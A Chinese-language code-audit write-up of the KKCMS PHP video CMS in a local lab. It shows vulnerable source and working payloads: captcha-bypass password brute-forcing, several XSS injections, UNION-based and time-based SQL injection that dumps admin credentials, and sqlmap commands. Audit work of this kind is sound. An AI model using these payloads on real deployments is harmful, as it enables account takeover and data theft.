前言
本次审计的话是Seay+昆仑镜进行漏洞扫描
Seay的话它可以很方便的查看各个文件,而昆仑镜可以很快且扫出更多的漏洞点,将这两者进行结合起来,就可以发挥更好的效果。
昆仑镜官方地址
https://github.com/LoRexxar/Kunlun-M
环境
KKCMS环境搭建
KKCMS链接如下
https://github.com/liumengxiang/kkcms
安装的话正常步骤就好,即
1、解压至phpstudy目录下
2、访问install
3、新建kkcms数据库,然后在安装的时候用这个数据库
4、安装完成,开始审计
目录结构
常见的目录结构,简单了解一下其作用
admin 后台管理目录
css CSS样式表目录
data 系统处理数据相关目录
install 网页安装目录
images 系统图片存放目录
template 模板
system 管理目录
代码审计
对扫描出的开始进行审计
验证码重用
admin/cms_login.php
源码如下
<?php
require_once('../system/inc.php');
if(isset($_POST['submit'])){if ($_SESSION['verifycode'] != $_POST['verifycode']) {alert_href('验证码错误','cms_login.php');}null_back($_POST['a_name'],'请输入用户名');null_back($_POST['a_password'],'请输入密码');null_back($_POST['verifycode'],'请输入验证码');$a_name = $_POST['a_name'];$a_password = $_POST['a_password'];$sql = 'select * from xtcms_manager where m_name = "'.$a_name.'" and m_password = "'.md5($a_password).'"';$result = mysql_query($sql);if(!! $row = mysql_fetch_array($result)){setcookie('admin_name',$row['m_name']);setcookie('admin_password',$row['m_password']);header('location:cms_welcome.php');}else{alert_href('用户名或密码错误','cms_login.php');}
}
?>
验证码的校验代码
if ($_SESSION['verifycode'] != $_POST['verifycode']) {alert_href('验证码错误','cms_login.php');}
不难发现这里是将$_SESSION['verifycode']
与POST上传的verifycode
相比较,如果不相等就会刷新跳转,重新回到登录处,此时验证码也会被更新。我们进入前端界面看一下
发现验证码js对应处存在文件,跟进查看一下
<?php
session_start();
$image = imagecreate(50, 34);
$bcolor = imagecolorallocate($image, 0, 0, 0);
$fcolor = imagecolorallocate($image, 255, 255, 255);
$str = '0123456789';
$rand_str = '';
for ($i = 0; $i < 4; $i++){$k = mt_rand(1, strlen($str));$rand_str .= $str[$k - 1];
}
$_SESSION['verifycode'] = $rand_str;
imagefill($image, 0, 0, $bcolor);
imagestring($image, 7, 7, 10, $rand_str, $fcolor);
header('content-type:image/png');
imagepng($image);
?>
该文件的含义是用0-9
中的任意四个数字作为验证码,也就是说js引用该文件来产生验证码。这里学习过其他师傅的思路后,了解到
Burpsuite默认不解析js
因此我们这里就可以借助bp抓包,摒弃js,对用户名和密码进行爆破
抓包后发送到instruct
模块,在密码处添加变量
而后添加一些常用的弱口令密码
开始爆破
成功爆破出密码
XSS
wap/shang.php
使用昆仑镜进行扫描,得到结果
结合Seay,查看该文件代码
可以看到直接输出了$_GET['fee']
,因此我们这里直接传入一个xss语句尝试触发xss payload
fee=<script>alert(1)</script>
wap/seacher.php
昆仑镜扫描
利用seay查看源码
//这只是一部分,具体的师傅们可自行查看此文件
<?php include('../system/inc.php');
include('../data/cxini.php');
$link=$zwcx['zhanwai'];
$q=$_POST['wd'];<!DOCTYPE html>
<html>
<head lang="en">
<?php include 'head.php';?>
<title>搜索<?php echo $q?>-<?php echo $xtcms_seoname;?></title>
<meta name="keywords" content="<?php echo $q?>,<?php echo $xtcms_keywords;?>">
<meta name="description" content="<?php echo $xtcms_description;?>">
可以发现这里这个变量$q
直接被输出了,这个$q
是POST
上传的wd
参数,因此我们这里POST上传wd参数,给它赋值一个xss语句的话,应该是可以进行XSS的,我们试着去构造一下
wp=<script>alert(1)</script>
成功触发XSS
wap/movie.php
//部分源码
<?php include('../system/inc.php');
include '../system/list.php';
$page=$_GET['page'];?>
<!DOCTYPE html>
<html>
$b=(strpos($_GET['m'],'rank='));
$ye=substr($_GET['m'],$b+5);
?>
<a <?php if ($ye=="rankhot"){echo 'class="on"';}elseif($ye=="createtime" or $ye=="rankpoint"){}else{ echo 'class="on"';};?> href="?m=/dianying/list.php?rank=rankhot">最近热映</a>
<a <?php if ($ye=="createtime"){echo 'class="on"';}else{};?> href="?m=/dianying/list.php?rank=createtime">最新上映</a>
<a <?php if ($ye=="rankpoint"){echo 'class="on"';}else{};?> href="?m=/dianying/list.php?rank=rankpoint">最受好评</a>
</div>
<?php echo getPageHtml($page,$fenye,'movie.php?m='.$yourneed.'&page=');?>
</ul>
</div>
</div>
</section>
<?php include 'footer.php';?>
存在可控参数$_GET['m']
和$_GET['page']
,开头引用了inc.php
,试着找一下输出语句。发现输出语句
<?php echo getPageHtml($page,$fenye,'movie.php?m='.$yourneed.'&page=');?>
发现被函数getPageHtml
包裹了,跟进查看
function getPageHtml($_var_60, $_var_61, $_var_62)
{$_var_63 = 5;$_var_60 = $_var_60 < 1 ? 1 : $_var_60;$_var_60 = $_var_60 > $_var_61 ? $_var_61 : $_var_60;$_var_61 = $_var_61 < $_var_60 ? $_var_60 : $_var_61;$_var_64 = $_var_60 - floor($_var_63 / 2);$_var_64 = $_var_64 < 1 ? 1 : $_var_64;$_var_65 = $_var_60 + floor($_var_63 / 2);$_var_65 = $_var_65 > $_var_61 ? $_var_61 : $_var_65;$_var_66 = $_var_65 - $_var_64 + 1;if ($_var_66 < $_var_63 && $_var_64 > 1) {$_var_64 = $_var_64 - ($_var_63 - $_var_66);$_var_64 = $_var_64 < 1 ? 1 : $_var_64;$_var_66 = $_var_65 - $_var_64 + 1;}if ($_var_66 < $_var_63 && $_var_65 < $_var_61) {$_var_65 = $_var_65 + ($_var_63 - $_var_66);$_var_65 = $_var_65 > $_var_61 ? $_var_61 : $_var_65;}if ($_var_60 > 1) {$_var_67 .= '<li><a title="上一页" href="' . $_var_62 . ($_var_60 - 1) . '"">上一页</a></li>';}for ($_var_68 = $_var_64; $_var_68 <= $_var_65; $_var_68++) {if ($_var_68 == $_var_60) {$_var_67 .= '<li><a style="background:#FF9900;"><font color="#fff">' . $_var_68 . '</font></a></li>';} else {$_var_67 .= '<li><a href="' . $_var_62 . $_var_68 . '">' . $_var_68 . '</a></li>';}}if ($_var_60 < $_var_65) {$_var_67 .= '<li><a title="下一页" href="' . $_var_62 . ($_var_60 + 1) . '"">下一页</a></li>';}return $_var_67;
}
跟进查看后也没有发现输出点,结果网页端js代码再看看 传参
http://127.0.0.1:8080/kkcms-kkcms/wap/movie.php?m=111
查看源代码,Ctrl+f
搜?m=111
查找对应js代码
找到js代码
<li><a href="movie.php?m=111&page=4">4</a></li><li><a href="movie.php?m=111&page=5">5</a></li><li><a title="下一页" href="movie.php?m=111&page=2"">下一页</a></li></ul>
尝试直接闭合a标签执行xss语句,构造payload如下
?m="><script>alert(111)</script>
成功触发xss
同类XSS文件如下
wap/tv.php
其对应输出代码如下
<?php echo getPageHtml($page,$fenye,'tv.php?m='.$yourneed.'&page=');?>wap/zongyi.php
其对应输出代码如下
<?php echo getPageHtml($page,$fenye,'zongyi.php?m='.$yourneed.'&page=');?>wap/dongman.php
其对应输出代码如下
<?php echo getPageHtml($page,$fenye,'dongman.php?m='.$yourneed.'&page=');?>
system/pcon.php(失败)
发现这里有个echo 变量
的,利用Seay跟进一下这个文件
<?php
if ($xtcms_pc==1){
?><script>
function uaredirect(f){try{if(document.getElementById("bdmark")!=null){return}var b=false;if(arguments[1]){var e=window.location.host;var a=window.location.href;if(isSubdomain(arguments[1],e)==1){f=f+"/#m/"+a;b=true}else{if(isSubdomain(arguments[1],e)==2){f=f+"/#m/"+a;b=true}else{f=a;b=false}}}else{b=true}if(b){var c=window.location.hash;if(!c.match("fromapp")){if((navigator.userAgent.match(/(iPhone|iPod|Android|ios)/i))){location.replace(f)}}}}catch(d){}}function isSubdomain(c,d){this.getdomain=function(f){var e=f.indexOf("://");if(e>0){var h=f.substr(e+3)}else{var h=f}var g=/^www\./;if(g.test(h)){h=h.substr(4)}return h};if(c==d){return 1}else{var c=this.getdomain(c);var b=this.getdomain(d);if(c==b){return 1}else{c=c.replace(".","\\.");var a=new RegExp("\\."+c+"$");if(b.match(a)){return 2}else{return 0}}}};
</script>
<?php
if ($_GET['play']!=""){
$cc="play.php?play=";
$dd="bplay.php?play=";
$yugao=explode('.html',$_GET['play']);
for($k=0;$k<count($yugao);$k++){
if ($k>0){
$tiaourl=$cc.$_GET['play'];}
else{
$tiaourl=$dd.$_GET['play']; }
}
}
?>
<script type="text/javascript">uaredirect("<?php echo $xtcms_domain;?>wap/<?php echo $tiaourl;?>");</script>
<?php } ?>
此时发现可控变量play
,如果让他变为xss恶意语句,就可能会实现xss,但我们这个时候看一下最上面,发现有一个if语句
if ($xtcms_pc==1){
它这个条件为true后执行的语句,不仔细看的话甚至都找不到结尾处在哪,经过仔细查看后发现在最后
这里的话也就是说,我们只有满足了$xtcms_pc==1
这个条件,才能够成功的往下执行,进而利用play
参数构造xss语句,因此我们此时就需要跟进这个$xtcms_pc
变量,全局搜索一下
发现变量赋值点,跟进查看
简单看一下这里的代码,发现这个结果是从SQL查询处的结果取出的,而SQL语句不存在变量,因此这里的话我们是不可控的,所以这里的话应该是不存在XSS的,G
admin/cms_ad.php
登录后台后发现有个广告管理界面
发现这里可以设置名称和广告内容,尝试在名称处插入xss语句
发现此时成功触发了xss语句,那么这里的话应该是直接将广告名称进行了输出,我们查看后端代码,验证一下
<?php
include('../system/inc.php');
include('cms_check.php');
error_reporting(0);
include('model/ad.php');
?>
<?php include('inc_header.php') ?>
<div class="tab-pane1">
<div class="row">
<div class="col-sm-12">
<div class="form-group has-feedback">
<label for="name-w1">名称</label>
<input id="l_name" class="form-control" name="title" type="text" size="60" data-validate="required:请填写广告名称" value="" />
<span class="help-block">请输入广告名称</span>
</div>
</div>
</div>
<div class="row">
<div class="col-sm-12">
<div class="form-group">
<label for="ccnumber-w1">内容</label>
<textarea id="l_picture" class="form-control" name="pic" /></textarea>
<span class="help-block">请输入广告的内容<a href="网址" target="_blank"><img src="图片地址" style="width:100%"></a></span>
</div>
</div>
</div>
<div class="row">
<div class="form-group col-sm-12">
<label for="ccmonth-w1">广告位置</label>
<select id="catid" class="form-control" name="catid">
<?php
$result = mysql_query('select * from xtcms_adclass');
while($row1 = mysql_fetch_array($result)){
?>
<option value="<?php echo $row1['id']?>"><?php echo $row1['name']?></option>
<?php
}
?>
后端名称处代码为
<input id="l_name" class="form-control" name="title" type="text" size="60" data-validate="required:请填写广告名称" value="" />
可以发现这里只是限制了长度为60
,其他没有什么限制,输出广告内容的代码是
$result = mysql_query('select * from xtcms_ad order by id desc');
while($row = mysql_fetch_array($result)){
?><tr>
<td><?php echo $row['id']?></td>
<td><?php echo $row['title']?></td>
这里的话是取出结果,然后将结果赋值给$row
,最后输出了$row['id']
和$row['name']
,正如同所说的一样,不存在过滤点,因而导致了XSS的出现
而你此时大概看一下代码的话,它的内容也是如此,内容是在加载页面的时候出现的,这个时候我们可以用img
来构造一个xss恶意语句
此时随便访问首页的一个视频
成功触发XSS
youlian.php
<?php
include('system/inc.php');
if(isset($_POST['submit'])){
null_back('admin','.');null_back($_POST['content'],'你的链接及网站名');$data['userid'] = $_POST['userid'];$data['content'] =addslashes($_POST['content']);$data['time'] =date('y-m-d h:i:s',time());$str = arrtoinsert($data);$sql = 'insert into xtcms_youlian ('.$str[0].') values ('.$str[1].')';
设置了addslashes
函数防止SQL注入,但并未防止XSS,我们构造payload如下
<a href=Javascript:alert(1)>xss</a>
后端查看就会发现
XSS被触发
admin/cms_kamilist.php
//部分源码
<?php
include('../system/inc.php');
include('cms_check.php');
error_reporting(0);?>
<?php include('inc_header.php') ?>
<select class="form-control" onchange="location.href='cms_kamilist.php?c_used='+this.options[this.selectedIndex].value;">
<option value="">使用情况</option>
<option value="1" >已使用</option> <option value="0">未使用</option> </select>
<input id="c_pass" class="form-control" type="text" name="c_number" placeholder="卡密"/>
<input id="id" class="input" type="hidden" name="id" value="<?php echo $_GET["id"] ?>"/>
<input type="submit" id="search" class="btn btn-info" name="search" value="查找" />
<a class="btn btn-info" href="cms_dao.php<?php if (isset($_GET['id'])) { echo '?cpass='.$_GET["id"];}?>"><span class="icon-plus-square">导出</span></a>
</div>
关注
value="<?php echo $_GET["id"] ?>"
发现这里参数id
没有什么防护,虽然开头涉及了inc.php
,但那个是防护SQL注入的,不影响xss。我们这里如果能够闭合语句的话,似乎就可以触发XSS了。payload
id="><script>alert(1)</script>
//此时的语句就是 value="<?php echo "><script>alert(1)</script> ?>"
结果如下
wx_api.php
class wechatCallbackapiTest
{public function valid(){$echoStr = $_GET["echostr"];if($this->checkSignature()){echo $echoStr;exit;}}
可以发现这里的参$_GET['echostr']
不存在防护,在传入后经过一个if语句直接进行了输出,我们跟进一下这个if语句了的checkSignature
函数查看一下
private function checkSignature(){// you must define TOKEN by yourselfif (!defined("TOKEN")) {throw new Exception('TOKEN is not defined!');}$signature = $_GET["signature"];$timestamp = $_GET["timestamp"];$nonce = $_GET["nonce"];$token = TOKEN;$tmpArr = array($token, $timestamp, $nonce);// use SORT_STRING rulesort($tmpArr, SORT_STRING);$tmpStr = implode( $tmpArr );$tmpStr = sha1( $tmpStr );if( $tmpStr == $signature ){return true;}else{return false;}}
发现这里大概是个检验token的,传个空对应的md5值应该就可以,尝试xss payload
?echostr=<script>alert('别当舔狗')</script>&signature=da39a3ee5e6b4b0d3255bfef95601890afd80709
SQL
bplay.php
<?php
include('system/inc.php');//载入全局配置文件
error_reporting(0);//关闭错误报告
$result = mysql_query('select * from xtcms_vod where d_id = '.$_GET['play'].' ');
if (!!$row = mysql_fetch_array($result)) {$d_id = $row['d_id'];$d_name = $row['d_name'];$d_jifen = $row['d_jifen'];$d_user = $row['d_user'];$d_parent = $row['d_parent'];$d_picture = $row['d_picture'];$d_content = $row['d_content'];$d_scontent = $row['d_scontent'];$d_seoname = $row['d_seoname'];$d_keywords = $row['d_keywords'];$d_description = $row['d_description'];$d_player = $row['d_player'];$d_title = ($d_seoname == '') ? $d_name .' - '.$xtcms_name : $d_seoname.' - '.$d_name.' - '.$xtcms_name ;
} else {die ('您访问的详情不存在');
}
$result1 = mysql_query('select * from xtcms_vod_class where c_id='.$d_parent.' order by c_id asc');
while ($row1 = mysql_fetch_array($result1)){
$c_hide=$row1['c_hide'];
}
if($c_hide>0){
if(!isset($_SESSION['user_name'])){alert_href('请注册会员登录后观看',''.$xtcms_domain.'ucenter');};$result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');//查询会员积分if($row = mysql_fetch_array($result)){$u_group=$row['u_group'];//到期时间}if($u_group<=1){//如果会员组alert_href('对不起,您不能观看会员视频,请升级会员!',''.$xtcms_domain.'ucenter/mingxi.php');}
}
include('system/shoufei.php');
if($d_jifen>0){//积分大于0,普通会员收费if(!isset($_SESSION['user_name'])){alert_href('请注册会员登录后观看',''.$xtcms_domain.'ucenter');};$result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');//查询会员积分if($row = mysql_fetch_array($result)){$u_points=$row['u_points'];//会员积分$u_plays=$row['u_plays'];//会员观看记录$u_end=$row['u_end'];//到期时间$u_group=$row['u_group'];//到期时间} if($u_group<=1){//如果会员组if($d_jifen>$u_points){alert_href('对不起,您的积分不够,无法观看收费数据,请推荐本站给您的好友、赚取更多积分',''.$xtcms_domain.'ucenter/yaoqing.php');} else{if (strpos(",".$u_plays,$d_id) > 0){ } //有观看记录不扣点
else{$uplays = ",".$u_plays.$d_id;$uplays = str_replace(",,",",",$uplays);$_data['u_points'] =$u_points-$d_jifen;$_data['u_plays'] =$uplays;$sql = 'update xtcms_user set '.arrtoupdate($_data).' where u_name="'.$_SESSION['user_name'].'"';
if (mysql_query($sql)) {alert_href('您成功支付'.$d_jifen.'积分,请重新打开视频观看!',''.$xtcms_domain.'bplay.php?play='.$d_id.'');
}
}}
}
}
if($d_user>0){
if(!isset($_SESSION['user_name'])){alert_href('请注册会员登录后观看',''.$xtcms_domain.'ucenter');};$result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');//查询会员积分if($row = mysql_fetch_array($result)){$u_points=$row['u_points'];//会员积分$u_plays=$row['u_plays'];//会员观看记录$u_end=$row['u_end'];//到期时间$u_group=$row['u_group'];//到期时间}
if($u_group<$d_user){alert_href('您的会员组不支持观看此视频!',''.$xtcms_domain.'ucenter/mingxi.php');
}
}
function get_play($t0){$result = mysql_query('select * from xtcms_player where id ='.$t0.'');if (!!$row = mysql_fetch_array($result)){
return $row['n_url'];}else{return $t0;};
}
$result = mysql_query('select * from xtcms_vod where d_id ='.$d_id.'');if (!!$row = mysql_fetch_array($result)){
$d_scontent=explode("\r\n",$row['d_scontent']);
//print_r($d_scontent);
for($i=0;$i<count($d_scontent);$i++)
{ $d_scontent[$i]=explode('$',$d_scontent[$i]);}
$playdizhi=get_play($row['d_player']).$d_scontent[0][1];}else{return '';};include('template/'.$xtcms_bdyun.'/bplay.php');
?>
这里的话可以看出主要的SQL语句是这句话
$result = mysql_query('select * from xtcms_vod where d_id = '.$_GET['play'].' ');
然后这个play
参数是GET传参的,同时看这里的代码可以看出它是没有单引号或者双引号包裹的,此时我们跟进一下include的文件,也就是system/inc.php
,查看一下这个文件
跟进这个library.php
<?php
//展示的只是一部分
if (!defined('PCFINAL')) {exit('Request Error!');
}
if (!get_magic_quotes_gpc()) {if (!empty($_GET)) {$_GET = addslashes_deep($_GET);}if (!empty($_POST)) {$_POST = addslashes_deep($_POST);}$_COOKIE = addslashes_deep($_COOKIE);$_REQUEST = addslashes_deep($_REQUEST);
}
可以发现这里的话对传入的参数都进行了特殊字符转义,防止SQL注入
但事实上我们那个参数未被单引号或者双引号包裹,这也就意味着这里的防护其实是无意义的,因此我们这里的话我们也就可以尝试去进行SQL注入
首先我们试着去检测一下字段数,payload如下所示
play=1 order by 17 //回显正常
play=1 order by 18 //回显错误
这里的话也就可以发现字段数为17了,接下来就可以进去联合查询了,首先我们需要去找一下回显位
play=-1 union select 1,2,3,0,0,6,7,8,9,10,11,12,13,14,15,16,17
可以发现回显位是2和9,我们这个时候就可以去读取数据库、数据表这些了,payload如下
//查库
play=-1 union select 1,2,3,0,0,6,7,8,database(),10,11,12,13,14,15,16, 17
//查表
play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(table_name) from information_schema.tables where table_schema=database()),10,11,12,13,14,15,16, 17
//查列
play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(column_name) from information_schema.columns where table_name=0x626565735f61646d696e),10,11,12,13,14,15,16, 17//之所以用十六进制是因为这里的单引号会被转义
//查字段
play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(admin_name,0x7e,admin_password) from bees_admin),10,11,12,13,14,15,16, 17
wap/user.php(失败)
结合Seay
<?php include('../system/inc.php');
error_reporting(0);
$op=$_GET['op'];
if(!isset($_SESSION['user_name'])){alert_href('请登陆后进入','login.php?op=login');};//退出
if ($op == 'out'){
unset($_SESSION['user_name']);
unset($_SESSION['user_group']);
if (! empty ( $_COOKIE ['user_name'] ) || ! empty ( $_COOKIE ['user_password'] )) { setcookie ( "user_name", null, time () - 3600 * 24 * 365 ); setcookie ( "user_password", null, time () - 3600 * 24 * 365 ); }
header('location:login.php?op=login');
}
//支付
if ( isset($_POST['paysave']) ) {
if ($_POST['pay']==1){//判定会员组别
$result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');
if($row = mysql_fetch_array($result)){$u_points=$row['u_points'];
$u_group=$row['u_group'];
$send = $row['u_end'];//获取会员卡信息
$card= mysql_query('select * from xtcms_userka where id="'.$_POST['cardid'].'"');
if($row2 = mysql_fetch_array($card)){
$day=$row2['day'];//天数
$userid=$row2['userid'];//会员组
$jifen=$row2['jifen'];//积分
}
//判定会员组
if ($row['u_group']>$userid){
alert_href('您现在所属会员组的权限制大于等于目标会员组权限值,不需要升级!','mingxi.php');
}
看这一处代码
$card= mysql_query('select * from xtcms_userka where id="'.$_POST['cardid'].'"');
不难发现这里的Select语句中的参数被双引号包裹了,而开头包含了inc.php
文件,之前就已经查看过,这个文件包含了四个文件,其中一个文件中有addslashes_deep
函数,对传入的参数中的特殊字符(如'
,"
,\
)进行了转义,因此我们这里的话无法通过闭合双引号达到SQL注入的目的,同文件的其他SQL注入处也是如此,这里不再展示
wap/login.php
扫出login.php中存在多个可控变量,我们使用Seay来看一下具体代码
//展示的仅为一部分
<?php include('../system/inc.php');
$op=$_GET['op'];if(isset($_POST['submit'])){null_back($_POST['u_name'],'请输入用户名');null_back($_POST['u_password'],'请输入密码');$u_name = $_POST['u_name'];$u_password = $_POST['u_password'];$sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';$result = mysql_query($sql);if(!! $row = mysql_fetch_array($result)){$_data['u_loginnum'] = $row['u_loginnum']+1; $_data['u_loginip'] =$_SERVER["REMOTE_ADDR"]; $_data['u_logintime'] =date('y-m-d h:i:s',time());if(!empty($row['u_end'])) $u_end= $row['u_end'];if(time()>$u_end){$_data['u_flag'] =="0";$_data['u_start'] =="";$_data['u_end'] =="";$_data['u_group'] =1;}else{$_data['u_flag'] ==$row["u_flag"];$_data['u_start'] ==$row["u_start"];$_data['u_end'] ==$row["u_end"];$_data['u_group'] =$row["u_group"];}mysql_query('update xtcms_user set '.arrtoupdate($_data).' where u_id ="'.$row['u_id'].'"');$_SESSION['user_name']=$row['u_name'];$_SESSION['user_group']=$row['u_group'];if($_POST['brand1']){
setcookie('user_name',$row['u_name'],time()+3600 * 24 * 365);
setcookie('user_password',$row['u_password'],time()+3600 * 24 * 365);
} header('location:user.php');}else{alert_href('用户名或密码错误或者尚未激活','login.php?op=login');}
}
if(isset($_POST['reg'])){
$username = stripslashes(trim($_POST['name']));
// 检测用户名是否存在
$query = mysql_query("select u_id from xtcms_user where u_name='$username'");
if(mysql_fetch_array($query)){
echo '<script>alert("用户名已存在,请换个其他的用户名");window.history.go(-1);</script>';
exit;
}
$result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');
if(mysql_fetch_array($result)){
echo '<script>alert("邮箱已存在,请换个其他的邮箱");window.history.go(-1);</script>';
exit;
}
$password = md5(trim($_POST['password']));
$email = trim($_POST['email']);
$regtime = time();
$token = md5($username.$password.$regtime); //创建用于激活识别码
$token_exptime = time()+60*60*24;//过期时间为24小时后
$data['u_name'] = $username;
$data['u_password'] =$password;
$data['u_email'] = $email;
$data['u_regtime'] =$regtime;
if($xtcms_mail==1){
$data['u_status'] =0;}else{
$data['u_status'] =1;}
$data['u_group'] =1;
$data['u_fav'] =0;
$data['u_plays'] =0;
$data['u_downs'] =0;
//推广注册
if (isset($_GET['tg'])) {$data['u_qid'] =$_GET['tg'];$result = mysql_query('select * from xtcms_user where u_id="'.$_GET['tg'].'"');
if($row = mysql_fetch_array($result)){$u_points=$row['u_points'];
}
不难发现这里的SELECT语句有以下几个
$sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
$query = mysql_query("select u_id from xtcms_user where u_name='$username'");
$result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');
$result = mysql_query('select * from xtcms_user where u_id="'.$_GET['tg'].'"');
但文件开头就声明包含了inc.php
文件,说明这里的话包含了过滤函数,也就是对SQL注入是有防护的,对'
、"
以及\
都进行了转义,因此这里如果参数是被单引号或者双引号包裹的话,那么这里极有可能算是G了,我们看第一个,也就是
$sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
它这个不难发现,$u_name
和$u_password
都被双引号包裹了,因此这里就不存在SQL注入了。但是看一下第二个,第二个的username
参数虽然是被双引号进行包裹了,但你会发现这个参数的传值方式是$username = stripslashes(trim($_POST['name']));
,这个stripslashes
的功能是消除由addslashes
函数增加的反斜杠,一个增加一个消除,那这里不就跟没有设置过滤一样吗,因此这个name
参数是存在SQL注入的,我们通过BurpSuite进行抓包
然后将内容复制到一个txt文件中
我这里保存在sqlmap目录下
而后打开sqlmap,输入如下payload即可
python sqlmap.py "D:/sqlmap/2.txt" --dbs --batch
可以看到存在延时注入,成功爆破出数据库
vlist.php
在这个界面,用单引号测试一下发现跟正常界面有所不同
看一下后端代码
<?php
if ($_GET['cid'] != 0){?><?php
$result = mysql_query('select * from xtcms_vod_class where c_pid='.$_GET['cid'].' order by c_sort desc,c_id asc');
while ($row = mysql_fetch_array($result)){echo '<a href="./vlist.php?cid='.$row['c_id'].'" class="acat" style="white-space: pre-wrap;margin-bottom: 4px;">'.$row['c_name'].'</a>';}
?>
这里简单看一下的话,不难发现这里的参数cid
是不存在任何防护的,即没有被单引号或者双引号包裹,因此这里开头引用的inc.php
虽然对SQL注入进行了防护,但在这里其实是没有意义的,用SQLmap跑一下
python sqlmap.py -u http://127.0.0.1:8080/kkcms-kkcms/vlist.php?cid=1 --dbs --batch
后端文件
扫出多个后端文件存在SQL注入,接下来逐一进行检测
admin/cms_admin_edit.php
源码如下
//部分代码
<?php
include('../system/inc.php');
include('cms_check.php');
error_reporting(0);
include('model/admin_edit.php');
?>
<?php
$result = mysql_query('select * from xtcms_manager where m_id = '.$_GET['id'].'');
if($row = mysql_fetch_array($result)){
?>
这里的话重点关注肯定是SQL语句,也就是这句话
$result = mysql_query('select * from xtcms_manager where m_id = '.$_GET['id'].'');
发现id是无引号包裹的,这意味着这里是存在SQL注入的,我们去验证一下
id=1
id=1 and sleep(5)
发现两者回显时间不同,说明存在SQL注入,具体为时间盲注,这里就可以编写Python脚本来爆破数据库信息,也可以通过SQLmap,这里不再展示
admin/cms_login.php
<?php
require_once('../system/inc.php');
if(isset($_POST['submit'])){if ($_SESSION['verifycode'] != $_POST['verifycode']) {alert_href('验证码错误','cms_login.php');}null_back($_POST['a_name'],'请输入用户名');null_back($_POST['a_password'],'请输入密码');null_back($_POST['verifycode'],'请输入验证码');$a_name = $_POST['a_name'];$a_password = $_POST['a_password'];$sql = 'select * from xtcms_manager where m_name = "'.$a_name.'" and m_password = "'.md5($a_password).'"';$result = mysql_query($sql);
这里的话就是发现这个可控参数都被双引号包裹了,然后文件开头包含了inc.php
,意味着存在对SQL注入的防护,因此这里的话是无法实现SQL注入的,转战下一处。
admin/cms_user_edit.php
//部分代码
<?php
include('../system/inc.php');
include('cms_check.php');
error_reporting(0);
include('model/user_edit.php');
?>
<?php
$result = mysql_query('select * from xtcms_user where u_id = '.$_GET['id'].'');
if($row = mysql_fetch_array($result)){
?>
一眼顶真,无包裹方式,存在SQL注入
id = 16 and sleep(5)
具体不再演示,此类的我将其列在一起,具体如下所示
admin/cms_nav_edit.php其SQL语句如下$result = mysql_query('select * from xtcms_nav where id = '.$_GET['id'].'');admin/cms_detail_edit.php其SQL语句如下$result = mysql_query('select * from xtcms_vod where d_id = '.$_GET['id'].'');admin/cms_channel_edit.php其SQL语句如下$result = mysql_query('select * from xtcms_vod_class where c_id = '.$_GET['id']);admin/cms_check_edit.php其SQL语句如下$result = mysql_query('select * from xtcms_book where id = '.$_GET['id'].'');admin/cms_player_edit.php其SQL语句如下$result = mysql_query('select * from xtcms_player where id = '.$_GET['id'].'');admin/cms_slideshow_edit.php其SQL语句如下$result = mysql_query('select * from xtcms_slideshow where id = '.$_GET['id'].' ');admin/cms_ad_edit.php其SQL语句如下$result = mysql_query('select * from xtcms_ad where id = '.$_GET['id'].' ');admin/cms_link_edit.php其SQL语句如下$result = mysql_query('select * from xtcms_link where l_id = '.$_GET['l_id'].'');admin/cms_usercard_edit.php其SQL语句如下$result = mysql_query('select * from xtcms_userka where id = '.$_GET['id'].'');admin/cms_youlian_edit.php其SQL语句如下$result = mysql_query('select * from xtcms_youlian where id = '.$_GET['id'].'');
admin/cms_user.php
<?php
include('../system/inc.php');
include('cms_check.php');
error_reporting(0);
include('model/user.php');
?>
if (isset($_GET['key'])) {
$sql = 'select * from xtcms_user where u_name like "%'.$_GET['key'].'%" order by u_id desc';
$pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
$result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
}
这里的话参数是在like处,这里的话经过本地测试及查找资料并未发现此处可以进行SQL注入,通过SQLmap扫描也无果,各位大师傅如果有思路的话还请指点一二
admin/cms_detail.php
if (isset($_GET['cid'])) {if ($_GET['cid'] != 0){$sql = 'select * from xtcms_vod where d_parent in ('.$_GET['cid'].') order by d_id desc';$pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));$result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');}else{$sql = 'select * from xtcms_vod order by d_id desc';$pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));$result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');}
}
这里的话关注这里
$sql = 'select * from xtcms_vod where d_parent in ('.$_GET['cid'].') order by d_id desc';
这个cid
参数是被括号包裹的,这里我们可以尝试通过使用这种payload来进行闭合语句从而进行SQL注入
cid=1) and sleep(1) --+
//此时语句$sql = 'select * from xtcms_vod where d_parent in (1) and sleep(5)
根据回显时间可以看出此处是存在SQL注入的
admin/cms_kamilist.php
<?php
include('../system/inc.php');
include('cms_check.php');
error_reporting(0);?>
if (isset($_GET['c_used'])) {$sql = 'select * from xtcms_user_card where c_used="'.$_GET['c_used'].'" order by c_id desc';$pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));$result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
}
这里的话可以看出参数被双引号包裹了,开头包含了SQL防护文件,涉及了addslashes()
函数,所以这里自认为是不存在SQL注入的,找下一处。
ucenter/index.php
//部分
<?php include('../system/inc.php');
if(!isset($_SESSION['user_name'])){alert_href('请登陆后进入','login.php');
};
?>
<?php include('left.php');?>
<?php
$result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');
if($row = mysql_fetch_array($result)){
?>
这里的话可以看见参数是SESSION
传参,不同于之前的GET和POST,而且这里还有双引号包裹,因此这里不存在SQL注入,下一处
